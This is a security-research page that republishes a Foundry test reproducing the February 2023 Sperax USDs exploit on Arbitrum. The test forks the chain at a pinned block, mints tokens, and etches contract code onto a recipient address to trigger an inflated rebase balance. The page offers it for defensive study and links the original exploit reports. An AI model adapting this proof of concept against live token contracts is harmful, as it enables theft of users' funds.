Skip to content
THREATWIRE

Public reproduction file

src/test/2023-02/USDs_exp.sol

Public reproduction file for dataset entry - Spherax USDs.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-02/USDs_exp.sol50 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "forge-std/console.sol";
6
7// @Analysis
8// https://twitter.com/danielvf/status/1621965412832350208
9// https://medium.com/sperax/usds-feb-3-exploit-report-from-engineering-team-9f0fd3cef00c
10// @TX
11// https://arbiscan.io/tx/0xfaf84cabc3e1b0cf1ff1738dace1b2810f42d98baeea17b146ae032f0bdf82d5
13interface USDs {
14 function balanceOf(
15 address _account
16 ) external returns (uint256);
17 function mint(address _account, uint256 _amount) external;
18 function transfer(address to, uint256 amount) external returns (bool);
19 function vaultAddress() external returns (address);
22contract USDsTest is Test {
23 USDs usds = USDs(0xD74f5255D557944cf7Dd0E45FF521520002D5748);
24 address ATTACKER_CONTRACT = address(0xdeadbeef);
26 function setUp() public {
27 vm.createSelectFork("arbitrum", 57_803_529);
29 vm.label(address(usds), "USDs");
30 vm.label(0x97A7E6Cf949114Fe4711018485D757b9c4962307, "USDsImpl");
31 vm.label(ATTACKER_CONTRACT, "AttackerContract");
32 vm.label(address(this), "AttackerAddress");
34 vm.prank(usds.vaultAddress());
35 usds.mint(address(this), 11e18);
36 }
38 function testExploit() public {
39 usds.transfer(ATTACKER_CONTRACT, 11e18);
41 // Etch code. In the real hack this was a Gnosis Safe being deployed
42 vm.etch(ATTACKER_CONTRACT, bytes("code"));
44 // Trigger balance recalculation
45 vm.prank(ATTACKER_CONTRACT);
46 usds.transfer(address(this), 1);
48 console.log("Attacker Contract balance after: ", usds.balanceOf(ATTACKER_CONTRACT));
49 }

Analysis

Dataset entry

Public Foundry test for “- Spherax USDs” (2023-02-03). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Spherax USDs
Path
src/test/2023-02/USDs_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1d4eaeee836fdf786ca32d92183f504477f7288c
Language
Solidity
Size
51 lines
Date
2023-02-03
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-02/USDs_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1d4eaeee836fdf786ca32d92183f504477f7288c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.